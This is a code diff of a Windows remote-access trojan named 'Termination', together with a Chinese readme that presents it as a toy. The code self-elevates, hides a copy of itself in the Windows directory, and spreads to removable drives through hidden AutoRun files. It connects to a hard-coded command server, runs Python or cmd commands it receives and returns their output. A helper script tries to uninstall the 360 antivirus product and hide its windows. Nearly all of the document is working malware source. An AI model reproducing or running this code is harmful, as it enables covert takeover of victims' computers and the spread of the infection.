+    from winreg import OpenKey, HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER, HKEY_USERS, SetValueEx, REG_SZ, CloseKey, DeleteKey, KEY_SET_VALUE, KEY_ALL_ACCESS,KEY_WRITE,KEY_CREATE_SUB_KEY
+class win32api():
+    from win32api import SetFileAttributes
+class requests():
+    from requests import post, get
+class subprocess():
+    from subprocess import list2cmdline, Popen, PIPE, STDOUT
+class time():
+    from time import localtime, strftime, sleep
+class socket():
+    from socket import gethostname
+class threading():
+    from threading import Thread
+class keyboard():
+    from keyboard import wait
+class hashlib():
+    from hashlib import md5
+class uuid():
+    from uuid import UUID, uuid1, uuid3, NAMESPACE_DNS
+class random():
+    from random import randint
+class shutil():
+    from shutil import copy
+class re():
+    from re import match, compile
+class psutil():
+    from psutil import pid_exists, Process, disk_partitions
+def GUUID():return str(uuid.uuid3(uuid.NAMESPACE_DNS, str(random.randint(0, 10000000000000000000))))
+class socketio():
+    from socketio import Client
+class atexit():
+    from atexit import register
+class json():
+    from json import loads, dumps
+class pickle():
+    from pickle import dumps, loads
+class base64():
+    from base64 import b64encode, b64decode
+class copy():
+    from copy import deepcopy, copy
+class platform():
+    from platform import node
+class tkinter():
+    from tkinter import Tk
+    class messagebox():
+        from tkinter.messagebox import showinfo, showerror, showwarning
+
+
+class ShellExecuteInfo(ctypes.Structure):
+    _fields_ = [
+        ('cbSize',       ctypes.wintypes.DWORD),
+        ('fMask',        ctypes.c_ulong),
+        ('hwnd',         ctypes.wintypes.HWND),
+        ('lpVerb',       ctypes.c_char_p),
+        ('lpFile',       ctypes.c_char_p),
+        ('lpParameters', ctypes.c_char_p),
+        ('lpDirectory',  ctypes.c_char_p),
+        ('nShow',        ctypes.c_int),
+        ('hInstApp',     ctypes.wintypes.HINSTANCE),
+        ('lpIDList',     ctypes.c_void_p),
+        ('lpClass',      ctypes.c_char_p),
+        ('hKeyClass',    ctypes.wintypes.HKEY),
+        ('dwHotKey',     ctypes.wintypes.DWORD),
+        ('hIcon',        ctypes.wintypes.HANDLE),
+        ('hProcess',     ctypes.wintypes.HANDLE)]
+    def __init__(self, **kw):
+        super(ShellExecuteInfo, self).__init__()
+        self.cbSize = ctypes.sizeof(self)
+        for field_name, field_value in kw.items():
+            setattr(self, field_name, field_value)
+ShellExecuteEx = ctypes.windll.shell32.ShellExecuteExA
+ShellExecuteEx.argtypes = (ctypes.POINTER(ShellExecuteInfo), )
+ShellExecuteEx.restype = ctypes.wintypes.BOOL
+WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
+WaitForSingleObject.argtypes = (ctypes.wintypes.HANDLE, ctypes.wintypes.DWORD)
+WaitForSingleObject.restype = ctypes.wintypes.DWORD
+CloseHandle = ctypes.windll.kernel32.CloseHandle
+CloseHandle.argtypes = (ctypes.wintypes.HANDLE, )
+CloseHandle.restype = ctypes.wintypes.BOOL
+def elevate(show_console=True, graphical=True, argv=sys.argv):
+    if ctypes.windll.shell32.IsUserAnAdmin():
+        return
+    params = ShellExecuteInfo(
+        fMask=32832,
+        hwnd=None,
+        lpVerb=b'runas',
+        lpFile=sys.executable.encode('UTF-8'),
+        lpParameters=subprocess.list2cmdline(argv).encode('UTF-8'),
+        nShow=int(show_console))
+    if not ShellExecuteEx(ctypes.byref(params)):
+        raise ctypes.WinError()
+    handle = params.hProcess
+    ret = ctypes.wintypes.DWORD()
+    WaitForSingleObject(handle, -1)
+    if ctypes.windll.kernel32.GetExitCodeProcess(handle, ctypes.byref(ret)) == 0:
+        raise ctypes.WinError()
+    CloseHandle(handle)
+    sys.exit(ret.value)
+
+
+def asyncs(f):
+    def wrapper(*args, **kwargs):
+        thr = threading.Thread(target = f, args = args, kwargs = kwargs)
+        thr.start()
+    return wrapper
+
+class FIO():
+    def openw(self, file, write, mode:int=1, encoding="UTF-8"):
+        if mode == 1:
+            with open(file, "w", encoding=encoding) as f:
+                f.write(write)
+        elif mode == 2:
+            with open(file, "wb") as f:
+                f.write(write)
+    def opena(self, file, write, mode:int=1, encoding="UTF-8"):
+        if mode == 1:
+            with open(file, "a", encoding=encoding) as f:
+                f.write(write)
+        elif mode == 2:
+            with open(file, "ab") as f:
+                f.write(write)
+    def openr(self, file, mode:int=1, encoding="UTF-8"):
+        if mode == 1:
+            with open(file, "r", encoding=encoding) as f:
+                read = f.read()
+        elif mode == 2:
+            with open(file, "rb") as f:
+                read = f.read()
+        return read
+FIO=FIO()
+
+
+
+class LockMe():
+    def __init__(self, id, exe):
+        self.EXEMD5=self.GetFileMD5(exe)
+        self.exe=exe
+        self.id=id
+        self.temp=os.getenv("temp")
+        self.SetLockFile()
+    def SetLockFile(self):
+        self.LockName=f"Lock_{self.id}_[{os.getpid()}].lock"
+        self.LockReName=f"Lock_{self.id}_"+r"\[(\d+)\].lock"
+        self.LockNameReF=r'\[(\d+)\]'
+        self.LockFile=os.path.join(self.temp, self.LockName)
+        self.f=[]
+    def SearchLockFile(self):
+        res=self.SearchList(os.listdir(self.temp), self.LockReName)
+        return res
+    def SearchList(self, lst, mat):
+        result = []
+        for s in lst:
+            if (_ := re.match(mat, s)): 
+                result.append(_.group(1))
+        return result
+    def WriteLockFile(self, file: str):
+        f=open(file, "w", encoding="UTF-8")
+        f.write(str(os.getpid()))
+        self.f.append(f)
+    def lock(self):
+        #for i in os.listdir(self.temp):
+        #    if os.path.isfile(os.path.join(self.temp, i)):
+        #        try:
+        #           os.remove(os.path.join(self.temp, i))
+        #        except:
+        #            pass
+        E=0
+        SLF=self.SearchLockFile()
+        print("SLF", SLF)
+        for i in SLF:
+            print(i)
+            if psutil.pid_exists(int(i)):
+                print("PSUTIL OVER")
+                os._exit(0)
+            else:
+                try:
+                    os.remove(os.path.join(self.temp, self.LockReName.replace(self.LockNameReF, f"[{i}]")))
+                except:
+                    print("DEL E:", os.path.join(self.temp, self.LockReName.replace(self.LockNameReF, f"[{i}]")))
+        try:
+            self.WriteLockFile(self.LockFile)
+        except:
+            try:
+                self.LockFile=self.LockFile.replace(self.LockNameReF, GUUID())
+                self.WriteLockFile(self.LockFile.replace(self.LockNameReF, GUUID()))
+            except:
+                print("LOCK ERROR, BUT WE DON'T KILL SELF, HAHAHA.")
+                E=1
+        if E == 0:
+            atexit.register(lambda: self.AtExitRemoveFile(self.LockFile))
+    def AtExitRemoveFile(self, File):
+        try:
+            for i in self.f:
+                i.close()
+            os.remove(File)
+        except:
+            print("666, FUCK, del e:", traceback.format_exc())
+    def GetFileMD5(self, file_name):
+        m = hashlib.md5()
+        with open(file_name,'rb') as fobj:
+            while True:
+                data = fobj.read(4096)
+                if not data:
+                    break
+                m.update(data)
+        return m.hexdigest()
+
+class Popen():
+    def __init__(self, cmd_line, stdout=subprocess.PIPE, stderr=subprocess.PIPE):
+        self.process=subprocess.Popen(cmd_line, stdout=stdout, stderr=stderr)
+
+class GodKeys():
+    def __init__(self):
+        self.KEY="""'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890-+="""
+    def _SecretKeyEncryption(self, s: str):
+        return self._e(s)
+    def _SecretKeyDecryption(self, s: bytes):
+        return self._d(s)
+    def encrypt(self, s: str):
+        return self._SecretKeyEncryption(self.Bytes2Base64(pickle.dumps(s)))
+    def decrypt(self, s: bytes):
+        return pickle.loads(self.Base642Bytes(self._SecretKeyDecryption(s)))
+    def Bytes2Base64(self, s):
+        return base64.b64encode(s)
+    def Base642Bytes(self, b):
+        return base64.b64decode(b)
+    def _RH(self, hex_str):
+        return ''.join([hex_str[(i + 3) % len(hex_str)] for i in range(len(hex_str))])
+    def _SH(self, rearranged_hex):
+        return ''.join([rearranged_hex[(i - 3) % len(rearranged_hex)] for i in range(len(rearranged_hex))])
+    def _e(self, bytes_data):
+        hex_data = bytes_data.hex()
+        reversed_hex = self._RH(hex_data[::-1])[::-1]
+        return bytes.fromhex(reversed_hex)
+    def _d(self, encrypted_bytes):
+        hex_data = encrypted_bytes.hex()
+        reversed_hex = self._SH(hex_data[::-1])[::-1]
+        return bytes.fromhex(reversed_hex)
+
+class AppRun():
+    def __init__(self, Termination, NetworkProcess):
+        self.Tasks={}
+        self.Termination=Termination
+        self.send=NetworkProcess.send
+    @asyncs
+    def _get(self, s):
+        if "PID" in s:
+            if s["PID"] == 0:
+                if s["USE"].lower() == "python":
+                    ENV=globals()
+                    exec(s["Code"],ENV)
+                if s["USE"].lower() == "cmd":
+                    p = subprocess.Popen("cmd.exe /c "+s["Code"], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
+                    result = []
+                    while p.poll() is None:
+                        line = p.stdout.readline().strip()
+                        if line:
+                            try:
+                                line=line.decode('UTF-8')
+                            except UnicodeDecodeError:
+                                line=line.decode('GB18030')
+                            result.append(line)
+                            self.send("/TApi/Return.api", {"PID": s["NEEDPID"], "RETURN": line})
+                    if p.returncode == 0:
+                        self.send("/TApi/Return.api", {"PID": s["NEEDPID"], "TYPE": "SUCESS"})
+                    else:
+                        self.send("/TApi/Return.api", {"PID": s["NEEDPID"], "TYPE": "FAILED"})
+            else:
+                pass
+        else:
+            pass
+
+class NetworkProcessings():
+    def __init__(self, Termination):
+        self.headers = {'User-Agent':'Termination/4.0 (Termination4)'}
+        self.mac = uuid.uuid1().hex[-12:].upper()
+        self.Termination=Termination
+        self.url=self.Termination.url
+        self.sio, self.j=self.Try_To_System(self.url+"/host.json")
+        self.AppRun=AppRun(self.Termination, self)
+    def Polling(self):
+        self.Connect()
+        @self.sio.on(f"{self.j["NetWork"]["Dir"]}{self.j["NetWork"]["CommandSend"]}")
+        def CommandSend(msg):
+            print(msg)
+            if "MAC" in msg and (msg["MAC"] == self.mac or msg["MAC"] == "ALL"):
+                self.AppRun._get(msg)
+        @self.sio.event
+        def disconnect():
+            self.sio, self.j=self.Try_To_System(self.url+"/host.json")
+            self.Connect()
+    def Connect(self):
+        print("Connect")
+        self.send((f"{self.j["NetWork"]["Dir"]}{self.j["NetWork"]["Command"]}"), {"PID": 1, "MAC": self.mac, "Name": platform.node()})
+    def send(self, route, sth):
+        self.sio.emit(route, sth)
+    def Post(self, url, data) -> str:
+        response = requests.post(url,data=data,headers=self.headers)
+        return response
+    def Get(self, url) -> str:
+        response = requests.get(url,headers=self.headers)
+        return response
+    def Wait_System(self, url, sleep=1):
+        while True:
+            c=self.Wait_Web(url)
+            print("WSC: ", c)
+            try:
+                c2=self.Get(c["Host"]+c["NetWork"]["Dir"]+c["NetWork"]["Test"])
+            except Exception as e:
+                print("WSE", e)
+            else:
+                if c2.status_code == 200:
+                    if c2.text == "OK":
+                        return c
+                    else:
+                        print("WS: C NOT OK C:", c2.text)
+            time.sleep(sleep)
+    def Wait_Web(self, url, sleep=1):
+        while True:
+            try:
+                c = self.Get(url)
+                print("WWC: ", c)
+            except Exception as e:
+                print("WWE", e)
+            else:
+                if c.status_code == 200:
+                    try:
+                        _=json.loads(c.text)
+                        if "CanConnect" in _ and _["CanConnect"] == True and "Host" in _:
+                            return _
+                        else:
+                            print("WW: if e", _)
+                    except:
+                        print("WWE: JSON")
+            time.sleep(sleep)
+    def Try_To_System(self, url, sleep=1):
+        while True:
+            c=self.Wait_System(url, sleep)
+            try:
+                self.sio=socketio.Client()
+                self.sio.connect(c["Host"])
+            except:
+                pass
+            else:
+                return self.sio, c
+            time.sleep(sleep)
+
+class InFect():
+    def __init__(self):
+        self.Flan=True
+        self.SleepTime=5
+        self.Name="Termination"
+        self.disks=self.GetDisks()
+        print("InFect: disks:", self.disks)
+    @asyncs
+    def start(self):
+        while self.Flan:
+            d=list(set(self.GetDisks())-set(self.disks))
+            print("InFect D: ", d)
+            for i in d:
+                self.infect(i)
+            self.disks=self.GetDisks()
+            print("InFect: disks:", self.disks)
+            time.sleep(5)
+    def infect(self, disk):
+        try:
+            print("InFect: ", disk)
+            if not os.path.isdir(disk):
+                return
+            WorkPath=os.path.join(disk, "."+self.Name)
+            if not os.path.isdir(WorkPath):
+                os.mkdir(WorkPath)
+            self.HideFile(WorkPath)
+            shutil.copy(sys.executable, os.path.join(WorkPath, self.Name+".exe"))
+            try:
+                os.chmod(os.path.join(WorkPath, "AuToRun.inf"), 0o666)
+                FIO.openw(os.path.join(WorkPath, "AuToRun.inf"), f"[AutoRun]\nopen={os.path.join(WorkPath, self.Name+".exe")}")
+                self.HideFile(os.path.join(WorkPath, "AuToRun.inf"))
+            except:
+                pass
+            try:
+                FIO.openw(os.path.join(WorkPath, "U盘驱动，必装！！！.bat"),rf"@echo off\n")
+            except:
+                pass
+        except:
+            print(traceback.format_exc())
+            return
+    def stop(self):
+        self.Flan=False
+    def GetDisks(self):
+        d=[]
+        for i in psutil.disk_partitions():
+            d.append(i.device)
+        return d
+    def HideFile(self, path):
+        win32api.SetFileAttributes(path, 6)
+
+class Module():
+    def __init__(self):
+        self.Tasks={}
+    def Run(self):
+        try:
+            if self.IsRun_Py():
+                self.file=FIO.openr("./WITH", 2)
+            else:
+                self.file=FIO.openr(self.GetExeFile(), 2)
+            self.BOOT=self.GetBOOT()
+            for i in self.BOOT["StartUp"]:
+                self.RunModule(i, self.BOOT["StartUp"][i])
+        except:
+            print(traceback.format_exc())
+            os._exit(0)
+    def RunModule(self, i, mod):
+        if self.IsRun_Py():
+            print(666,"INPYTHON")
+            ENV=copy.copy(globals())
+            ENV["Termination"]=self.Termination
+            ENV["PyTasks"]=self.Tasks
+            self.Tasks[i]={"Name":i,"Code":self.GodKey.decrypt(self.GetKey(i)),"ENV":ENV}
+            if "Run" in mod:
+                for r in mod["Run"]:
+                    exec(f"{r}={r}({"".join(list(map(lambda x:f"{x}={mod["Run"][r][x]},",mod["Run"][r])))})", self.Tasks[i]["ENV"])
+        else:
+            try:
+                ENV=copy.copy(globals())
+                ENV["Termination"]=self.Termination
+                ENV["PyTasks"]=self.Tasks
+                self.Tasks[i]={"Name":i,"Code":self.GodKey.decrypt(self.GetKey(i)),"ENV":ENV}
+                exec(self.Tasks[i]["Code"], self.Tasks[i]["ENV"])
+                if "Run" in mod:
+                    for r in mod["Run"]:
+                        exec(f"{r}={r}({"".join(list(map(lambda x:f"{x}={mod["Run"][r][x]},",mod["Run"][r])))})", self.Tasks[i]["ENV"])
+                for _ in mod["Globals"]:
+                    exec(f"{_}={self.Tasks[i]["ENV"][_]}",globals())
+            except:
+                print(traceback.format_exc())
+    def GetKey(self, key, encoding="UTF-8"):
+        _=self._Search(b"START"+bytes(key, encoding=encoding), b"END"+bytes(key, encoding=encoding), self.file)
+        if _:
+            _=self.GodKey.decrypt(_)
+            return _
+        else:
+            return False
+    def GetBOOT(self):
+        return json.loads(self.GetKey("BOOT"))
+    def _Search(self, s, e, b):
+        m = re.compile(s+rb"(.*)"+e).search(b)
+        if not m:
+            return False
+        return m.group(1)
+    def Set(self, Termination):
+        self.Termination=Termination
+        self.IsRun_Exe, self.IsRun_Py, self.GetExeFile, self.GodKey=self.Termination.IsRun_Exe, self.Termination.IsRun_Py, self.Termination.GetExeFile, self.Termination.GodKey
+
+
+class Termination():
+    def __init__(self) -> None:
+        self.InIt_Admin(0)
+        self.InIt_Value()
+        self.lock.lock()
+        self.CopyToSystem()
+        self.InIt_InFect()
+        #self.InItAddToStartUp()
+        self.SetRun()
+        while True:
+            time.sleep(60)
+    def InIt_Value(self) -> None:
+        self.author=None
+        self.release=None
+        self.app_name="Termination"
+        self.version="4.0.0"
+        self.testversion="beta"
+        self.url="http://wytyh.space3v.work"
+        self.socket_url=""
+        self.lock_id=self.app_name
+        self.lock=LockMe(self.lock_id, self.GetExeFile())
+        self.GodKey=GodKeys()
+        self.WorkPath=self.GetNeedDir()
+        self.PYREXE=["python.exe", "pythonw.exe"]
+        self.PYTRUN=["py", "pyw"]
+        self.EXERUN=["exe"]
+    def InIt_InFect(self) -> None:
+        self.InFect=InFect()
+        self.InFect.start()
+    @asyncs
+    def SetRun(self) -> None:
+        self.Module=Module()
+        self.Module.Set(self)
+        self.Module.Run()
+        self.NetWorkProcess=NetworkProcessings(self)
+        self.NetWorkProcess.Polling()
+    def InItAddToStartUp(self):
+        self.AddStartUp(f"{self.app_name}{self.version}", self.GetExeFile())
+    def InIt_Admin(self, show_console:bool=True, graphical:bool=True, argv=sys.argv):
+        elevate(show_console, graphical, argv)
+    def CopyToSystem(self) -> None:
+        if not os.path.isdir(self.WorkPath):
+            try:
+                os.mkdir(self.WorkPath)
+                self.HideFile(self.WorkPath)
+            except Exception as e:
+                self.Try(e)
+        if os.path.abspath(self.GetExeDir()) != os.path.abspath(self.WorkPath):
+            try:
+                shutil.copy(self.GetExeFile(), self.WorkPath)
+            except:
+                self.Try(e)
+            ne=os.path.join(self.WorkPath, self.GetExeName())
+            if self.GetExeSuffix() in self.PYTRUN or self.GetExeName() in self.PYREXE:
+                pass
+            else:
+                if self.GetExeSuffix() in self.EXERUN:
+                    Popen([ne])
+                    print("THE END")
+                    os._exit(0)
+        print("IT IN WORKPATH")
+    def Is_In_System(self) -> bool:
+        return os.path.abspath(self.GetExeDir()) == os.path.abspath(self.WorkPath)
+    def Try(self) -> None:
+        args=self.GetArgs()
+        TryNum=0
+        if "TryNum" in args and type((args["TryNum"])) == int:
+            TryNum=args["TryNum"]
+        pass#这里应该让杀手(killer.py)检查一下尸体和现场
+        argv=sys.argv
+        if TryNum != 0:
+            argv.remove(f"TryNum={TryNum}")
+        argv.append(f"TryNum={TryNum+1}")
+        self.InIt_Admin(0, argv=argv)
+    def RunExcept(self,e) -> None:
+        ec=traceback.format_exc()
+        print(e, ec)
+    def GetArgs(self):
+        _=sys.argv
+        if _ > 1: _=_[1:]
+        res={}
+        for i in _:
+            if i.count("="):
+                _i=i.split("=")
+                ins=_i[0]
+                if _i[0].lstrip():
+                    ins=int(_i[0])
+                res[_i[0]]=ins
+                continue
+            res[i]=0
+    def GetNeedDir(self) -> str:
+        return os.path.join(os.getenv("windir"),".Termination")
+    def GetExeDir(self) -> str:
+        return os.path.dirname(self.GetExeFile())
+    def GetExeName(self) -> str:
+        return os.path.basename(self.GetExeFile())
+    def GetExeSuffix(self, lower: bool=True) -> str:
+        _=self.GetExeName().split(".")[-1]
+        if lower == True: return _.lower()
+        return _
+    def IsRun_Py(self):
+        return self.GetExeSuffix() in self.PYTRUN or self.GetExeName() in self.PYREXE
+    def IsRun_Exe(self):
+        return self.GetExeSuffix() in self.EXERUN
+    def GetExeFile(self) -> str:
+        return sys.executable
+    def TimeFormat(self, s="%Y-%m-%d-%H-%M-%S",end=""):
+        return time.strftime(s+end, time.localtime())
+    def Is_Admin():
+        return ctypes.windll.shell32.IsUserAnAdmin()
+    def GetKeysRun(self):
+        A = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows\CurrentVersion\Run",             winreg.KEY_SET_VALUE, winreg.KEY_ALL_ACCESS|winreg.KEY_WRITE|winreg.KEY_CREATE_SUB_KEY)
+        B = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run", winreg.KEY_SET_VALUE, winreg.KEY_ALL_ACCESS|winreg.KEY_WRITE|winreg.KEY_CREATE_SUB_KEY)
+        C = winreg.OpenKey(winreg.HKEY_CURRENT_USER,  r"Software\Microsoft\Windows\CurrentVersion\Run",             winreg.KEY_SET_VALUE, winreg.KEY_ALL_ACCESS|winreg.KEY_WRITE|winreg.KEY_CREATE_SUB_KEY)
+        D = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Control\Session Manager",          winreg.KEY_SET_VALUE, winreg.KEY_ALL_ACCESS|winreg.KEY_WRITE|winreg.KEY_CREATE_SUB_KEY)
+        return A, B, C, D
+    def SetKeys(self, value_name, reserved, type, value, *key):
+        for i in key:
+            winreg.SetValueEx(i, value_name, reserved, type, value)
+    def DelKeys(self, value_name, *key):
+        for i in key:
+            winreg.DeleteKey(i, value_name)
+    def CloseKeys(self, *key):
+        for i in key:
+            winreg.CloseKey(i)
+    def AddStartUp(self, Name, FilePath=""):
+        if FilePath == "": FilePath = self.GetExeFile()
+        A, B, C, D = self.GetKeysRun()
+        self.SetKeys(Name, 0, winreg.REG_SZ, FilePath, A, B, C, D)
+        self.CloseKeys(A, B, C, D)
+    def UninstallStartUp(self, Name):
+        A, B, C, D = self.GetRun()
+        self.DelKeys(Name, A, B, C, D)
+        self.CloseKeys(A, B, C, D)
+    def GetFileAttributes(self, FilePath):
+        return ctypes.windll.kernel32.GetFileAttributesW(FilePath)
+    def HideFile(self, path):
+        win32api.SetFileAttributes(path, 6)
+
+if __name__ == "__main__":
+    Termination()

Termination4.spec

@@ -0,0 +1,38 @@
+# -*- mode: python ; coding: utf-8 -*-
+
+
+a = Analysis(
+    ['TERMINATION4.PY'],
+    pathex=[],
+    binaries=[],
+    datas=[],
+    hiddenimports=[],
+    hookspath=[],
+    hooksconfig={},
+    runtime_hooks=[],
+    excludes=[],
+    noarchive=False,
+    optimize=0,
+)
+pyz = PYZ(a.pure)
+
+exe = EXE(
+    pyz,
+    a.scripts,
+    a.binaries,
+    a.datas,
+    [],
+    name='TERMINATION4',
+    debug=False,
+    bootloader_ignore_signals=False,
+    strip=False,
+    upx=True,
+    upx_exclude=[],
+    runtime_tmpdir=None,
+    console=True,
+    disable_windowed_traceback=False,
+    argv_emulation=False,
+    target_arch=None,
+    codesign_identity=None,
+    entitlements_file=None,
+)

WITH

@@ -0,0 +1 @@
+STARTBOOTCÖt5dVt$DFç6•S5&†6å%f44“fS3–Ä3ENDBOOT

killer.py

@@ -0,0 +1,109 @@
+# wei'wa
+
+class sys():
+    from sys import argv, platform, executable, exit as exit
+class ctypes():
+    from ctypes import POINTER, c_ulong, c_char_p, c_int, c_void_p, windll, sizeof, Structure, byref, WinError
+    class wintypes():
+        from ctypes.wintypes import HANDLE, BOOL, DWORD, HWND, HINSTANCE, HKEY
+class subprocess():
+    from subprocess import list2cmdline
+#class os():
+#    from os import path, getenv, mkdir, getlogin, listdir, _exit, remove, rmdir, walk, chmod
+import os
+import stat
+import traceback
+import win32api
+import win32con
+import win32gui
+import win32api
+import win32process
+
+class ShellExecuteInfo(ctypes.Structure):
+    _fields_ = [
+        ('cbSize',       ctypes.wintypes.DWORD),
+        ('fMask',        ctypes.c_ulong),
+        ('hwnd',         ctypes.wintypes.HWND),
+        ('lpVerb',       ctypes.c_char_p),
+        ('lpFile',       ctypes.c_char_p),
+        ('lpParameters', ctypes.c_char_p),
+        ('lpDirectory',  ctypes.c_char_p),
+        ('nShow',        ctypes.c_int),
+        ('hInstApp',     ctypes.wintypes.HINSTANCE),
+        ('lpIDList',     ctypes.c_void_p),
+        ('lpClass',      ctypes.c_char_p),
+        ('hKeyClass',    ctypes.wintypes.HKEY),
+        ('dwHotKey',     ctypes.wintypes.DWORD),
+        ('hIcon',        ctypes.wintypes.HANDLE),
+        ('hProcess',     ctypes.wintypes.HANDLE)]
+    def __init__(self, **kw):
+        super(ShellExecuteInfo, self).__init__()
+        self.cbSize = ctypes.sizeof(self)
+        for field_name, field_value in kw.items():
+            setattr(self, field_name, field_value)
+ShellExecuteEx = ctypes.windll.shell32.ShellExecuteExA
+ShellExecuteEx.argtypes = (ctypes.POINTER(ShellExecuteInfo), )
+ShellExecuteEx.restype = ctypes.wintypes.BOOL
+WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
+WaitForSingleObject.argtypes = (ctypes.wintypes.HANDLE, ctypes.wintypes.DWORD)
+WaitForSingleObject.restype = ctypes.wintypes.DWORD
+CloseHandle = ctypes.windll.kernel32.CloseHandle
+CloseHandle.argtypes = (ctypes.wintypes.HANDLE, )
+CloseHandle.restype = ctypes.wintypes.BOOL
+def elevate(show_console=True, graphical=True):
+    if ctypes.windll.shell32.IsUserAnAdmin():
+        return
+    params = ShellExecuteInfo(
+        fMask=32832,
+        hwnd=None,
+        lpVerb=b'runas',
+        lpFile=sys.executable.encode('UTF-8'),
+        lpParameters=subprocess.list2cmdline(sys.argv).encode('UTF-8'),
+        nShow=int(show_console))
+    if not ShellExecuteEx(ctypes.byref(params)):
+        raise ctypes.WinError()
+    handle = params.hProcess
+    ret = ctypes.wintypes.DWORD()
+    WaitForSingleObject(handle, -1)
+    if ctypes.windll.kernel32.GetExitCodeProcess(handle, ctypes.byref(ret)) == 0:
+        raise ctypes.WinError()
+    CloseHandle(handle)
+    sys.exit(ret.value)
+
+class P():
+    def __init__(self):
+        elevate(0)
+    def SPGD(app_path):
+        try:
+            win32api.ShellExecute(0, None, app_path, None, None, 1)
+            processes = win32process.EnumProcesses()
+            for pid in processes:
+                if pid!= 0:
+                    try:
+                        handle = win32api.OpenProcess(win32api.PROCESS_QUERY_INFORMATION, False, pid)
+                        process_name = win32process.GetModuleFileNameEx(handle, 0)
+                        if app_path in process_name:
+                            return pid
+                    except:
+                        pass
+        except Exception as e:
+            return False
+
+log=open("./1.txt", "a", encoding="UTF-8")
+
+class P360(P):
+    def __init__(self, path: str):
+        P.__init__(self)
+        self.path=path
+    def remove(self):
+        self.uninst=os.path.join(self.path, "uninst.exe")
+        if not (pid:=self.SPGD(self.uninst)):
+            pass#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
+        def HW(hwnd, extra):
+            if win32gui.IsWindowVisible(hwnd):
+                if '1' in win32gui.GetWindowText(hwnd):
+                    win32gui.ShowWindow(hwnd, win32con.SW_HIDE)
+        win32gui.EnumWindows(HW, None)
+
+A=P360(r"D:\Program Files (x86)\360\360Safe")
+A.remove()

readme.md

@@ -0,0 +1,173 @@
+# Termination
+
+> **对外版本**: 4.0
+> **内部版本**: 4.2
+> **平台**: Windows
+> **作者**: 未知(原项目标注 `self.author = None`)
+
+## 零、关于本项目
+
+> **本项目仅是一个玩具,已永久停止维护。**
+
+版本对应关系(仅作历史记录):
+
+| 对外版本 | 内部版本 | 状态 |
+| :--- | :--- | :--- |
+| 3.0 | 4.0 | 已停止维护 |
+| 4.0 | 4.2 | 已停止维护(本仓库当前快照) |
+
+仓库内的源码与文档对应 **对外 4.0 / 内部 4.2**。本项目不再接收任何新功能、Issue 或 PR,所有 `Termination3.py` 中标注的 TODO / `pass` 不会被回填。
+
+## 一、项目简介
+
+**Termination** 是一个使用 Viper 编写的 Windows 远程管理与控制系统,采用 C/S 架构,通过 socketio 与控制端 (C2) 进行长连接通信,接收并执行远程下发的 Viper 脚本或 cmd 命令。系统包含自我提权、自启动、U 盘感染、模块化加载、错误屏幕等模块。
+
+> ⚠️ **免责声明**: 本项目仅供安全研究、合规的远程运维与教学演示使用。未经授权对他人设备进行控制属于违法行为,使用本项目产生的一切后果由使用者自行承担。
+
+## 二、目录结构
+
+```
+Termination3/
+├── README.md                       # 本文件
+├── readme.md                       # 旧版代码片段说明
+├── Termination3.py                 # 主程序入口,所有核心模块都在此文件
+├── killer.py                       # 360 安全卫士对抗/隐藏窗口实验脚本
+├── Netio.py                        # 早期版本的网络处理类(NetworkProcessings)
+├── script.py                       # 引导块 (STARTBOOT/ENDBOOT) 加密/打包工具
+├── WITH                            # 加密后的启动引导块
+├── Termination4.spec               # PyInstaller 打包配置(主程序)
+├── TEST.spec                       # PyInstaller 打包配置(测试程序)
+│
+├── Errors/                         # 错误/锁屏展示界面
+│   ├── AppleBoot.py                # 仿 Apple "联系开发者" 风格蓝屏
+│   ├── ERROR_HTML.py               # HTML 错误页
+│   └── FlowerScreen.py             # 花卉背景屏幕
+│
+├── Invisible/                      # 隐藏/自解密加载相关
+│   ├── Invisible.py                # pickle + Fernet 加密 shellcode 加载器
+│   ├── InvisibleRun.py             # 运行时解密脚本
+│   └── InvisibleRun.spec           # PyInstaller 打包配置
+│
+└── SCRIPT/                         # 微型 C 编译工具链(用于编译 native 载荷)
+    ├── MAKE.BAT                    # 编译批处理
+    ├── nask.exe                    # NASM 风格汇编器
+    ├── gas2nask.exe                # GAS -> nask 转换器
+    ├── cc1.exe                     # C 编译器前端
+    ├── ld.exe                      # 链接器
+    ├── golibc.lib                  # Go 风格 C 运行库
+    ├── w32clibc.lib                # Win32 C 运行库
+    ├── libmingw.lib                # MinGW 兼容库
+    ├── sjisconv.exe                # 字符编码转换
+    ├── 1.c / 1.ca / 1.gas / 1.nas # 示例 C/汇编源与中间产物
+    ├── 1.obj / 1.map               # 目标文件与符号表
+    └── makefile                    # make 描述文件(空)
+```
+
+## 三、核心模块说明(均位于 `Termination3.py`)
+
+| 序号 | 名称 | 作用 |
+| :--- | :--- | :--- |
+| 1 | `sys / os / ctypes / winreg / win32api / requests / socketio / tkinter` 等 | 通过同名空类统一导入,提供 Python 标准库与第三方库的扁平命名空间 |
+| 2 | `ShellExecuteInfo` + `elevate` | 通过 `shell32.ShellExecuteEx` 以 `runas` 提权,失败时抛 `WinError` |
+| 3 | `asyncs` | 装饰器,把同步函数放到 `threading.Thread` 中执行 |
+| 4 | `FIO` | 文本/二进制文件读写的单例封装,支持 `openw / opena / openr` 三种模式 |
+| 5 | `LockMe` | 基于 `%TEMP%` 下的 `Lock_<id>_[pid].lock` 文件实现进程互斥,使用 `atexit` 自动清理 |
+| 6 | `Popen` | 同步封装 `subprocess.Popen` |
+| 7 | `GodKeys` | 基于 hex 翻转 + Base64 + pickle 的对称加密(密钥 `QWERTYUIOP...=`) |
+| 8 | `AppRun` | 远程命令执行器,支持 `python` (`exec`) 与 `cmd` (`cmd.exe /c`) 两种类型,把执行结果回传 C2 |
+| 9 | `NetworkProcessings` | 通过 socketio 长连接 C2,提供 `Wait_System / Wait_Web / Try_To_System` 重连逻辑,下发命令通过 `AppRun` 执行 |
